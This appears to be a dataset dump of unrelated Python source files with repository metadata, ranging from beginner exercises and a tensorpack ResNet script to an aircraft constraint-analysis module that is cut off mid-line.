elif node_typename in ['Variable', 'ArrayOffset', 'Array', 'Constant']:
return False, self.get_node_name(node, base_locate, now_sort)
elif node_typename in ['list', 'dict', 'str', 'int']:
return False, node
else:
self.base_dataflow_generate([node], now_locate, now_sort=now_sort)
now_nodeid = len(self.dataflows)
return now_nodeid, True
| [
"[email protected]"
]
| |
8c65456eca2603036d5dbbcba1658c39a7b9998b | babaa6284820ae5ede8e0bb257cb802913ebe976 | /ML01-Python_Introduction/05_boolean_true_false.py | d92aa8f2e5de06ea1f65f5df33e7d8a3b9ac8b6b | []
| no_license | kevinelong/ML | c6a69be96202248214ed3c0db5d2514be8559411 | 93f430e31f1470cf1ac3ab6ee8ab5d701b3fc6e7 | refs/heads/master | 2023-05-02T12:08:32.693948 | 2021-05-21T19:21:28 | 2021-05-21T19:21:28 | 369,008,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | isCool = True
isTooCool = False
print(isCool)
isGreater: bool = 3 > 2
isSame: bool = 2 + 2 == 4
print(isGreater)
print(isSame)
| [
"[email protected]"
]
| |
a0a6c50f47ed536930fa9134d3ec75092e91ac68 | 6b791247919f7de90c8402abcca64b32edd7a29b | /lib/coginvasion/hood/DGSafeZoneLoader.py | 424ee7563b7c2f46dbeca8897532f40739267a72 | [
"Apache-2.0"
]
| permissive | theclashingfritz/Cog-Invasion-Online-Dump | a9bce15c9f37b6776cecd80b309f3c9ec5b1ec36 | 2561abbacb3e2e288e06f3f04b935b5ed589c8f8 | refs/heads/master | 2021-01-04T06:44:04.295001 | 2020-02-14T05:23:01 | 2020-02-14T05:23:01 | 240,434,213 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,152 | py | # uncompyle6 version 3.2.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: lib.coginvasion.hood.DGSafeZoneLoader
from lib.coginvasion.holiday.HolidayManager import HolidayType
import SafeZoneLoader, DGPlayground
class DGSafeZoneLoader(SafeZoneLoader.SafeZoneLoader):
def __init__(self, hood, parentFSM, doneEvent):
SafeZoneLoader.SafeZoneLoader.__init__(self, hood, parentFSM, doneEvent)
self.playground = DGPlayground.DGPlayground
self.pgMusicFilename = 'phase_8/audio/bgm/DG_nbrhood.mid'
self.interiorMusicFilename = 'phase_8/audio/bgm/DG_SZ.mid'
self.battleMusicFile = 'phase_3.5/audio/bgm/encntr_general_bg.mid'
self.invasionMusicFiles = [
'phase_12/audio/bgm/BossBot_CEO_v1.mid',
'phase_9/audio/bgm/encntr_suit_winning.mid']
self.tournamentMusicFiles = [
'phase_3.5/audio/bgm/encntr_nfsmw_bg_1.ogg',
'phase_3.5/audio/bgm/encntr_nfsmw_bg_2.ogg',
'phase_3.5/audio/bgm/encntr_nfsmw_bg_3.ogg',
'phase_3.5/audio/bgm/encntr_nfsmw_bg_4.ogg']
self.bossBattleMusicFile = 'phase_7/audio/bgm/encntr_suit_winning_indoor.mid'
self.dnaFile = 'phase_8/dna/daisys_garden_sz.pdna'
self.szStorageDNAFile = 'phase_8/dna/storage_DG_sz.pdna'
self.szHolidayDNAFile = None
if base.cr.holidayManager.getHoliday() == HolidayType.CHRISTMAS:
self.szHolidayDNAFile = 'phase_8/dna/winter_storage_DG_sz.pdna'
self.telescope = None
self.birdNoises = [
'phase_8/audio/sfx/SZ_DG_bird_01.ogg',
'phase_8/audio/sfx/SZ_DG_bird_02.ogg',
'phase_8/audio/sfx/SZ_DG_bird_03.ogg',
'phase_8/audio/sfx/SZ_DG_bird_04.ogg']
return
def load(self):
SafeZoneLoader.SafeZoneLoader.load(self)
hq = self.geom.find('**/*toon_landmark_hqDG*')
hq.find('**/doorFrameHoleLeft_0').stash()
hq.find('**/doorFrameHoleRight_0').stash()
hq.find('**/doorFrameHoleLeft_1').stash()
hq.find('**/doorFrameHoleRight_1').stash() | [
"[email protected]"
]
| |
55e4874425eb3724a4f27a4eb14c1cdd41077c73 | 0b953c73458679beeef3b95f366601c834cff9b4 | /Code Kata/player/string length without strlen.py | ae4291f56ac0bfc9852bf2406e6ee385ea7fcba1 | []
| no_license | Sravaniram/Python-Programming | 41531de40e547f0f461e77b88e4c0d562faa041c | f6f2a4e3a6274ecab2795062af8899c2a06c9dc1 | refs/heads/master | 2020-04-11T12:49:18.677561 | 2018-06-04T18:04:13 | 2018-06-04T18:04:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 61 | py | a=raw_input()
count=0
for x in a:
count=count+1
print count
| [
"[email protected]"
]
| |
406903fe9df4ba09c0d193fe84efd2cd76bc4e47 | 4c9e3a963aef1d8f0cea9edc35e3c5ffc64a87d1 | /tornado-frame/commands/sqlload.py | 19506d19d86fd44141c5870c37f821fb4d09ba89 | []
| no_license | hackrole/daily-program | d6820d532a9ebb8132676e58da8e2382bd459b8f | cff87a09f03ce5bd9e186b0302bead6cd8484ab5 | refs/heads/master | 2021-01-21T13:11:55.287908 | 2015-04-21T14:34:36 | 2015-04-21T14:34:36 | 17,940,553 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 416 | py | #!/usr/bin/env python
# encoding: utf-8
import sys
import cPickle as pickle
from os import path
def load_database(db_session, fixture):
"""
load the database data for the fixtures,
the fixture is a file path
"""
# TODO: the fixture file path controls
# load the fixture
datas = pickle.loads(fixture)
db_session.add_all(datas)
db_session.commit()
print "load database ok"
| [
"[email protected]"
]
| |
ab1003d7efdeb5fc332d4f1e755524aee27b2773 | 8a49aafeea46ded564dd2482350f82b4334436ed | /dataloaders/path.py | 9814116a02c91cdb947275fff256967754e3365b | []
| no_license | yifuxiong/Deeplab_pytorch | 1f96cd69a5597edc2021c24a5b88e462f67cb738 | 530809110156625945dfabd9b6dec0b2c0190415 | refs/heads/master | 2022-06-24T19:55:28.687829 | 2019-02-19T08:22:09 | 2019-02-19T08:22:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 523 | py | # -*- coding: utf-8 -*-
"""
@Time : 2019/1/30 19:30
@Author : Wang Xin
@Email : [email protected]
"""
class Path(object):
@staticmethod
def db_root_dir(database):
if database == 'pascal':
return '/home/data/model/wangxin/VOCdevkit/VOC2012/' # folder that contains VOCdevkit/.
elif database == 'vocaug':
return '/home/data/model/wangxin/VOCAug/'
else:
print('Database {} not available.'.format(database))
raise NotImplementedError | [
"[email protected]"
]
| |
31be3bffebdfd775abbd2a5ef8f4ee6bdc9cff3c | 54f352a242a8ad6ff5516703e91da61e08d9a9e6 | /Source Codes/AtCoder/abc010/B/4887036.py | ba13d3e730ec5dd09e19a0574b60ad637de85cd5 | []
| no_license | Kawser-nerd/CLCDSA | 5cbd8a4c3f65173e4e8e0d7ed845574c4770c3eb | aee32551795763b54acb26856ab239370cac4e75 | refs/heads/master | 2022-02-09T11:08:56.588303 | 2022-01-26T18:53:40 | 2022-01-26T18:53:40 | 211,783,197 | 23 | 9 | null | null | null | null | UTF-8 | Python | false | false | 270 | py | N = int(input())
maisu = list(map(int, input().split()))
ans = 0
for i in maisu:
while (i % 3 == 2 or i % 2 == 0):
if (i % 3 == 2):
ans += 1
i -= 1
if (i % 2 == 0):
ans += 1
i -= 1
print(ans) | [
"[email protected]"
]
| |
7dc7064cb13f7cbf99bae8290d431be03989ad48 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/380/usersdata/321/76866/submittedfiles/testes.py | e60134f230e927dc05748590d538982d937d6895 | []
| no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 131 | py | # -*- coding: utf-8 -*-
#COMECE AQUI ABAIXO
#ENTRADA
m= float(input('Digite um valor em metros: '))
c= (m*100)
print('%.1f cm' % c) | [
"[email protected]"
]
| |
d31f88ef07572a53d56f98887ef7cefbc063f60a | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/flinder.py | ed7b3b28a911e187cd355dfab60c5a0a84c0618c | []
| no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 201 | py | ii = [('LyelCPG2.py', 1), ('FitzRNS3.py', 3), ('KiddJAE.py', 4), ('BuckWGM.py', 2), ('FitzRNS4.py', 2), ('CoolWHM3.py', 46), ('FitzRNS.py', 3), ('ClarGE3.py', 6), ('DibdTRL.py', 1), ('FitzRNS2.py', 4)] | [
"[email protected]"
]
| |
ed9770b7effbdb44aa1fcb0abbaef7af6a08b6c7 | 47b40cce73500801c7216d16c3bf8629d8305e8c | /tools/tensorpack/examples/ResNet/svhn-resnet.py | b22bd115b73ddf6284d6c15c57c06a6e8ad71a16 | [
"Apache-2.0"
]
| permissive | laceyg/ternarynet | a19d402a8bf5e54c477f4dd64273b899664a8f17 | b17744c2aba3aba7e7e72decb3b8a02792d33b54 | refs/heads/master | 2020-02-26T14:15:37.507028 | 2017-03-06T18:05:22 | 2017-03-06T18:05:22 | 83,691,489 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,988 | py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
# File: svhn-resnet.py
# Author: Yuxin Wu <[email protected]>
import tensorflow as tf
import argparse
import numpy as np
import os
from tensorpack import *
from tensorpack.tfutils.symbolic_functions import *
from tensorpack.tfutils.summary import *
"""
ResNet-110 for SVHN Digit Classification.
Reach 1.8% validation error after 70 epochs, with 2 TitanX. 2it/s.
You might need to adjust the learning rate schedule when running with 1 GPU.
"""
import imp
cifar_example = imp.load_source('cifar_example',
os.path.join(os.path.dirname(__file__), 'cifar10-resnet.py'))
Model = cifar_example.Model
BATCH_SIZE = 128
def get_data(train_or_test):
isTrain = train_or_test == 'train'
pp_mean = dataset.SVHNDigit.get_per_pixel_mean()
if isTrain:
d1 = dataset.SVHNDigit('train')
d2 = dataset.SVHNDigit('extra')
ds = RandomMixData([d1, d2])
else:
ds = dataset.SVHNDigit('test')
if isTrain:
augmentors = [
imgaug.CenterPaste((40, 40)),
imgaug.Brightness(10),
imgaug.Contrast((0.8,1.2)),
imgaug.GaussianDeform( # this is slow. without it, can only reach 1.9% error
[(0.2, 0.2), (0.2, 0.8), (0.8,0.8), (0.8,0.2)],
(40, 40), 0.2, 3),
imgaug.RandomCrop((32, 32)),
imgaug.MapImage(lambda x: x - pp_mean),
]
else:
augmentors = [
imgaug.MapImage(lambda x: x - pp_mean)
]
ds = AugmentImageComponent(ds, augmentors)
ds = BatchData(ds, 128, remainder=not isTrain)
if isTrain:
ds = PrefetchData(ds, 5, 5)
return ds
def get_config():
logger.auto_set_dir()
# prepare dataset
dataset_train = get_data('train')
step_per_epoch = dataset_train.size()
dataset_test = get_data('test')
lr = get_scalar_var('learning_rate', 0.01, summary=True)
return TrainConfig(
dataset=dataset_train,
optimizer=tf.train.MomentumOptimizer(lr, 0.9),
callbacks=Callbacks([
StatPrinter(),
ModelSaver(),
InferenceRunner(dataset_test,
[ScalarStats('cost'), ClassificationError() ]),
ScheduledHyperParamSetter('learning_rate',
[(1, 0.1), (20, 0.01), (28, 0.001), (50, 0.0001)])
]),
model=Model(n=18),
step_per_epoch=step_per_epoch,
max_epoch=500,
)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--gpu', help='comma separated list of GPU(s) to use.')
parser.add_argument('--load', help='load model')
args = parser.parse_args()
if args.gpu:
os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu
config = get_config()
if args.load:
config.session_init = SaverRestore(args.load)
if args.gpu:
config.nr_tower = len(args.gpu.split(','))
SyncMultiGPUTrainer(config).train()
| [
"[email protected]"
]
| |
e26197127e92a2aa7241dde7e97a9c166231ce11 | 00c6ded41b84008489a126a36657a8dc773626a5 | /.history/Sizing_Method/ConstrainsAnalysis/ConstrainsAnlysisPDP1P2_20210712095445.PY | 4bfa50547de6a6e34d667ac6143127baea45a36d | []
| no_license | 12libao/DEA | 85f5f4274edf72c7f030a356bae9c499e3afc2ed | 1c6f8109bbc18c4451a50eacad9b4dedd29682bd | refs/heads/master | 2023-06-17T02:10:40.184423 | 2021-07-16T19:05:18 | 2021-07-16T19:05:18 | 346,111,158 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,345 | py | # author: Bao Li #
# Georgia Institute of Technology #
import Sizing_Method.ConstrainsAnalysis.ConstrainsAnalysis as ca
import Sizing_Method.ConstrainsAnalysis.ConstrainsAnalysisPD as ca_pd
import Sizing_Method.Aerodynamics.Aerodynamics as ad
import Sizing_Method.Aerodynamics.ThrustLapse as thrust_lapse
import Sizing_Method.Other.US_Standard_Atmosphere_1976 as atm
import matplotlib.pylab as plt
import numpy as np
import sys
import os
sys.path.insert(0, os.getcwd())
"""
The unit use is IS standard
"""
class ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun:
"""This is a power-based master constraints analysis"""
def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, C_DR=0):
"""
:param beta: weight fraction
:param Hp: P_motor/P_total
:param n: number of motor
:param K1: drag polar coefficient for 2nd order term
:param K2: drag polar coefficient for 1st order term
:param C_D0: the drag coefficient at zero lift
:param C_DR: additional drag caused, for example, by external stores,
braking parachutes or flaps, or temporary external hardware
:return:
power load: P_WTO
"""
self.h = altitude
self.v = velocity
self.rho = atm.atmosphere(geometric_altitude=self.h).density()
self.beta = beta
self.hp = 1 - Hp
self.n = number_of_motor
# power lapse ratio
self.alpha = thrust_lapse.thrust_lapse_calculation(altitude=self.h,
velocity=self.v).high_bypass_ratio_turbofan()
self.k1 = ad.aerodynamics_without_pd(self.h, self.v).K1()
self.k2 = ad.aerodynamics_without_pd(self.h, self.v).K2()
self.cd0 = ad.aerodynamics_without_pd(self.h, self.v).CD_0()
self.cdr = C_DR
self.w_s = wing_load
self.g0 = 9.80665
self.coefficient = self.beta * self.v / self.alpha
# Estimation of ฮCL and ฮCD
pd = ad.aerodynamics_with_pd(
self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s)
self.q = 0.5 * self.rho * self.v ** 2
self.cl = self.beta * self.w_s / self.q
# print(self.cl)
self.delta_cl = pd.delta_lift_coefficient(self.cl)
self.delta_cd0 = pd.delta_CD_0()
def master_equation(self, n, dh_dt, dV_dt):
cl = self.cl * n + self.delta_cl
cd = self.k1 * cl ** 2 + self.k2 * cl + self.cd0 + self.cdr + self.delta_cd0
p_w = self.coefficient * \
(self.q / (self.beta * self.w_s) *
cd + dh_dt / self.v + dV_dt / self.g0)
return p_w
def cruise(self):
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation(
self, n=1, dh_dt=0, dV_dt=0)
return p_w
def climb(self, roc):
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation(
self, n=1, dh_dt=roc, dV_dt=0)
return p_w
def level_turn(self, turn_rate=3, v=100):
"""
assume 2 min for 360 degree turn, which is 3 degree/seconds
assume turn at 300 knots, which is about 150 m/s
"""
load_factor = (1 + ((turn_rate * np.pi / 180)
* v / self.g0) ** 2) ** 0.5
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation(
self, n=load_factor, dh_dt=0, dV_dt=0)
return p_w
def take_off(self):
"""
A320neo take-off speed is about 150 knots, which is about 75 m/s
required runway length is about 2000 m
K_TO is a constant greater than one set to 1.2 (generally specified by appropriate flying regulations)
"""
Cl_max_to = 2.3 # 2.3
K_TO = 1.2 # V_TO / V_stall
s_G = 1266
p_w = 2 / 3 * self.coefficient / self.v * self.beta * K_TO ** 2 / (
s_G * self.rho * self.g0 * Cl_max_to) * self.w_s ** (
3 / 2)
return p_w
def stall_speed(self, V_stall_to=65, Cl_max_to=2.3):
V_stall_ld = 62
Cl_max_ld = 2.87
W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \
(Cl_max_to + self.delta_cl)
W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \
(Cl_max_ld + self.delta_cl)
W_S = min(W_S_1, W_S_2)
return W_S
def service_ceiling(self, roc=0.5):
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation(
self, n=1, dh_dt=roc, dV_dt=0)
return p_w
allFuncs = [take_off, stall_speed, cruise,
service_ceiling, level_turn, climb]
class ConstrainsAnalysis_Mattingly_Method_with_DP_electric:
"""This is a power-based master constraints analysis
the difference between turbofun and electric for constrains analysis:
1. assume the thrust_lapse = 1 for electric propution
2. hp = 1 - hp_turbofun
"""
def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, C_DR=0):
"""
:param beta: weight fraction
:param Hp: P_motor/P_total
:param n: number of motor
:param K1: drag polar coefficient for 2nd order term
:param K2: drag polar coefficient for 1st order term
:param C_D0: the drag coefficient at zero lift
:param C_DR: additional drag caused, for example, by external stores,
braking parachutes or flaps, or temporary external hardware
:return:
power load: P_WTO
"""
self.h = altitude
self.v = velocity
self.rho = atm.atmosphere(geometric_altitude=self.h).density()
self.beta = beta
self.hp = Hp # this is the difference part compare with turbofun
self.n = number_of_motor
# power lapse ratio
self.alpha = 1 # this is the difference part compare with turbofun
self.k1 = ad.aerodynamics_without_pd(self.h, self.v).K1()
self.k2 = ad.aerodynamics_without_pd(self.h, self.v).K2()
self.cd0 = ad.aerodynamics_without_pd(self.h, self.v).CD_0()
self.cdr = C_DR
self.w_s = wing_load
self.g0 = 9.80665
self.coefficient = self.beta * self.v / self.alpha
# Estimation of ฮCL and ฮCD
pd = ad.aerodynamics_with_pd(
self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s)
self.q = 0.5 * self.rho * self.v ** 2
self.cl = self.beta * self.w_s / self.q
# print(self.cl)
self.delta_cl = pd.delta_lift_coefficient(self.cl)
self.delta_cd0 = pd.delta_CD_0()
def master_equation(self, n, dh_dt, dV_dt):
cl = self.cl * n + self.delta_cl
cd = self.k1 * cl ** 2 + self.k2 * cl + self.cd0 + self.cdr + self.delta_cd0
p_w = self.coefficient * \
(self.q / (self.beta * self.w_s) *
cd + dh_dt / self.v + dV_dt / self.g0)
return p_w
def cruise(self):
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation(
self, n=1, dh_dt=0, dV_dt=0)
return p_w
def climb(self, roc):
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation(
self, n=1, dh_dt=roc, dV_dt=0)
return p_w
def level_turn(self, turn_rate=3, v=100):
"""
assume 2 min for 360 degree turn, which is 3 degree/seconds
assume turn at 300 knots, which is about 150 m/s
"""
load_factor = (1 + ((turn_rate * np.pi / 180)
* v / self.g0) ** 2) ** 0.5
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation(
self, n=load_factor, dh_dt=0, dV_dt=0)
return p_w
def take_off(self):
"""
A320neo take-off speed is about 150 knots, which is about 75 m/s
required runway length is about 2000 m
K_TO is a constant greater than one set to 1.2 (generally specified by appropriate flying regulations)
"""
Cl_max_to = 2.3 # 2.3
K_TO = 1.2 # V_TO / V_stall
s_G = 1266
p_w = 2 / 3 * self.coefficient / self.v * self.beta * K_TO ** 2 / (
s_G * self.rho * self.g0 * Cl_max_to) * self.w_s ** (
3 / 2)
return p_w
def stall_speed(self, V_stall_to=65, Cl_max_to=2.3):
V_stall_ld = 62
Cl_max_ld = 2.87
W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \
(Cl_max_to + self.delta_cl)
W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \
(Cl_max_ld + self.delta_cl)
W_S = min(W_S_1, W_S_2)
return W_S
def service_ceiling(self, roc=0.5):
p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation(
self, n=1, dh_dt=roc, dV_dt=0)
return p_w
allFuncs = [take_off, stall_speed, cruise,
service_ceiling, level_turn, climb]
class ConstrainsAnalysis_Gudmundsson_Method_with_DP_turbofun:
"""This is a power-based master constraints analysis based on Gudmundsson_method"""
def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, e=0.75, AR=10.3):
"""
:param beta: weight fraction
:param e: wing planform efficiency factor is between 0.75 and 0.85, no more than 1
:param AR: wing aspect ratio, normally between 7 and 10
:return:
power load: P_WTO
"""
self.h = altitude
self.v = velocity
self.beta = beta
self.w_s = wing_load
self.g0 = 9.80665
self.beta = beta
self.hp = 1 - Hp
self.n = number_of_motor
self.rho = atm.atmosphere(geometric_altitude=self.h).density()
# power lapse ratio
self.alpha = thrust_lapse.thrust_lapse_calculation(altitude=self.h,
velocity=self.v).high_bypass_ratio_turbofan()
h = 2.43 # height of winglets
b = 35.8
# equation 9-88, If the wing has winglets the aspect ratio should be corrected
ar_corr = AR * (1 + 1.9 * h / b)
self.k = 1 / (np.pi * ar_corr * e)
self.coefficient = self.beta * self.v / self.alpha
# Estimation of ฮCL and ฮCD
pd = ad.aerodynamics_with_pd(
self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s)
self.q = 0.5 * self.rho * self.v ** 2
cl = self.beta * self.w_s / self.q
self.delta_cl = pd.delta_lift_coefficient(cl)
self.delta_cd0 = pd.delta_CD_0()
# TABLE 3-1 Typical Aerodynamic Characteristics of Selected Classes of Aircraft
cd_min = 0.02
cd_to = 0.03
cl_to = 0.8
self.v_to = 68
self.s_g = 1480
self.mu = 0.04
self.cd_min = cd_min + self.delta_cd0
self.cl = cl + self.delta_cl
self.cd_to = cd_to + self.delta_cd0
self.cl_to = cl_to + self.delta_cl
def cruise(self):
p_w = self.q / self.w_s * (self.cd_min + self.k * self.cl ** 2)
return p_w * self.coefficient
def climb(self, roc):
p_w = roc / self.v + self.q * self.cd_min / self.w_s + self.k * self.cl
return p_w * self.coefficient
def level_turn(self, turn_rate=3, v=100):
"""
assume 2 min for 360 degree turn, which is 3 degree/seconds
assume turn at 100 m/s
"""
load_factor = (1 + ((turn_rate * np.pi / 180)
* v / self.g0) ** 2) ** 0.5
q = 0.5 * self.rho * v ** 2
p_w = q / self.w_s * (self.cd_min + self.k *
(load_factor / q * self.w_s + self.delta_cl) ** 2)
return p_w * self.coefficient
def take_off(self):
q = self.q / 2
p_w = self.v_to ** 2 / (2 * self.g0 * self.s_g) + q * self.cd_to / self.w_s + self.mu * (
1 - q * self.cl_to / self.w_s)
return p_w * self.coefficient
def service_ceiling(self, roc=0.5):
vy = (2 / self.rho * self.w_s *
(self.k / (3 * self.cd_min)) ** 0.5) ** 0.5
q = 0.5 * self.rho * vy ** 2
p_w = roc / vy + q / self.w_s * \
(self.cd_min + self.k * (self.w_s / q + self.delta_cl) ** 2)
# p_w = roc / (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 + 4 * (
# self.k * self.cd_min / 3) ** 0.5
return p_w * self.coefficient
def stall_speed(self, V_stall_to=65, Cl_max_to=2.3):
V_stall_ld = 62
Cl_max_ld = 2.87
W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \
(Cl_max_to + self.delta_cl)
W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \
(Cl_max_ld + self.delta_cl)
W_S = min(W_S_1, W_S_2)
return W_S
allFuncs = [take_off, stall_speed, cruise,
service_ceiling, level_turn, climb]
class ConstrainsAnalysis_Gudmundsson_Method_with_DP_electric:
"""This is a power-based master constraints analysis based on Gudmundsson_method
the difference between turbofun and electric for constrains analysis:
1. assume the thrust_lapse = 1 for electric propution
2. hp = 1 - hp_turbofun
"""
def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, e=0.75, AR=10.3):
"""
:param beta: weight fraction
:param e: wing planform efficiency factor is between 0.75 and 0.85, no more than 1
:param AR: wing aspect ratio, normally between 7 and 10
:return:
power load: P_WTO
"""
self.h = altitude
self.v = velocity
self.beta = beta
self.w_s = wing_load
self.g0 = 9.80665
self.beta = beta
self.hp = Hp # this is the difference part compare with turbofun
self.n = number_of_motor
self.rho = atm.atmosphere(geometric_altitude=self.h).density()
# power lapse ratio
self.alpha = 1 # this is the difference part compare with turbofun
h = 2.43 # height of winglets
b = 35.8
# equation 9-88, If the wing has winglets the aspect ratio should be corrected
ar_corr = AR * (1 + 1.9 * h / b)
self.k = 1 / (np.pi * ar_corr * e)
self.coefficient = self.beta * self.v / self.alpha
# Estimation of ฮCL and ฮCD
pd = ad.aerodynamics_with_pd(
self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s)
self.q = 0.5 * self.rho * self.v ** 2
cl = self.beta * self.w_s / self.q
self.delta_cl = pd.delta_lift_coefficient(cl)
self.delta_cd0 = pd.delta_CD_0()
# TABLE 3-1 Typical Aerodynamic Characteristics of Selected Classes of Aircraft
cd_min = 0.02
cd_to = 0.03
cl_to = 0.8
self.v_to = 68
self.s_g = 1480
self.mu = 0.04
self.cd_min = cd_min + self.delta_cd0
self.cl = cl + self.delta_cl
self.cd_to = cd_to + self.delta_cd0
self.cl_to = cl_to + self.delta_cl
def cruise(self):
p_w = self.q / self.w_s * (self.cd_min + self.k * self.cl ** 2)
return p_w * self.coefficient
def climb(self, roc):
p_w = roc / self.v + self.q * self.cd_min / self.w_s + self.k * self.cl
return p_w * self.coefficient
def level_turn(self, turn_rate=3, v=100):
"""
assume 2 min for 360 degree turn, which is 3 degree/seconds
assume turn at 100 m/s
"""
load_factor = (1 + ((turn_rate * np.pi / 180)
* v / self.g0) ** 2) ** 0.5
q = 0.5 * self.rho * v ** 2
p_w = q / self.w_s * (self.cd_min + self.k *
(load_factor / q * self.w_s + self.delta_cl) ** 2)
return p_w * self.coefficient
def take_off(self):
q = self.q / 2
p_w = self.v_to ** 2 / (2 * self.g0 * self.s_g) + q * self.cd_to / self.w_s + self.mu * (
1 - q * self.cl_to / self.w_s)
return p_w * self.coefficient
def service_ceiling(self, roc=0.5):
vy = (2 / self.rho * self.w_s *
(self.k / (3 * self.cd_min)) ** 0.5) ** 0.5
q = 0.5 * self.rho * vy ** 2
p_w = roc / vy + q / self.w_s * \
(self.cd_min + self.k * (self.w_s / q + self.delta_cl) ** 2)
# p_w = roc / (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 + 4 * (
# self.k * self.cd_min / 3) ** 0.5
return p_w * self.coefficient
def stall_speed(self, V_stall_to=65, Cl_max_to=2.3):
V_stall_ld = 62
Cl_max_ld = 2.87
W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \
(Cl_max_to + self.delta_cl)
W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \
(Cl_max_ld + self.delta_cl)
W_S = min(W_S_1, W_S_2)
return W_S
allFuncs = [take_off, stall_speed, cruise,
service_ceiling, level_turn, climb]
if __name__ == "__main__":
n = 100
w_s = np.linspace(100, 9000, n)
constrains_name = ['take off', 'stall speed', 'cruise', 'service ceiling', 'level turn @3000m',
'climb @S-L', 'climb @3000m', 'climb @7000m']
constrains = np.array([[0, 68, 0.988, 0.8, 0.5], [0, 80, 1, 0.5], [11300, 230, 0.948, 0.8],
[11900, 230, 0.78, 0.5], [
3000, 100, 0.984, 0.8], [0, 100, 0.984, 0.5],
[3000, 200, 0.975, 0.6], [7000, 230, 0.96, 0.8]])
color = ['c', 'k', 'b', 'g', 'y', 'plum', 'violet', 'm']
label = ['feasible region with PD', 'feasible region with PD', 'feasible region Gudmundsson',
'feasible region without PD', 'feasible region without PD', 'feasible region Mattingly']
m = constrains.shape[0]
p_w = np.zeros([2 * m, n])
# plots
fig,axs = plt.subplot(3, 2,figsize=(20, 25))
for k in range(3):
plt.figure(figsize=(12, 8))
for i in range(m):
for j in range(n):
h = constrains[i, 0]
v = constrains[i, 1]
beta = constrains[i, 2]
hp = constrains[i, 3]
if k == 0:
problem1 = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun(
h, v, beta, w_s[j], hp)
problem2 = ConstrainsAnalysis_Mattingly_Method_with_DP_electric(
h, v, beta, w_s[j], hp)
plt.title(
r'Constraint Analysis: $\bf{Mattingly-Method}$ - Normalized to Sea Level')
elif k == 1:
problem1 = ConstrainsAnalysis_Gudmundsson_Method_with_DP(
h, v, beta, w_s[j])
problem2 = ca.ConstrainsAnalysis_Gudmundsson_Method(
h, v, beta, w_s[j])
plt.title(
r'Constraint Analysis: $\bf{Gudmundsson-Method}$ - Normalized to Sea Level')
else:
problem1 = ConstrainsAnalysis_Gudmundsson_Method_with_DP(
h, v, beta, w_s[j])
problem2 = ConstrainsAnalysis_Mattingly_Method_with_DP(
h, v, beta, w_s[j])
plt.title(
r'Constraint Analysis: $\bf{with}$ $\bf{DP}$ - Normalized to Sea Level')
if i >= 5:
p_w[i, j] = problem1.allFuncs[-1](problem1, roc=15 - 5 * (i - 5))
p_w[i + m, j] = problem2.allFuncs[-1](problem2, roc=15 - 5 * (i - 5))
else:
p_w[i, j] = problem1.allFuncs[i](problem1)
p_w[i + m, j] = problem2.allFuncs[i](problem2)
if i == 1:
l1a, = plt.plot(p_w[i, :], np.linspace(
0, 250, n), color=color[i], label=constrains_name[i])
l1b, = plt.plot(
p_w[i + m, :], np.linspace(0, 250, n), color=color[i], linestyle='--')
if k != 2:
l1 = plt.legend(
[l1a, l1b], ['with DP', 'without DP'], loc="upper right")
else:
l1 = plt.legend(
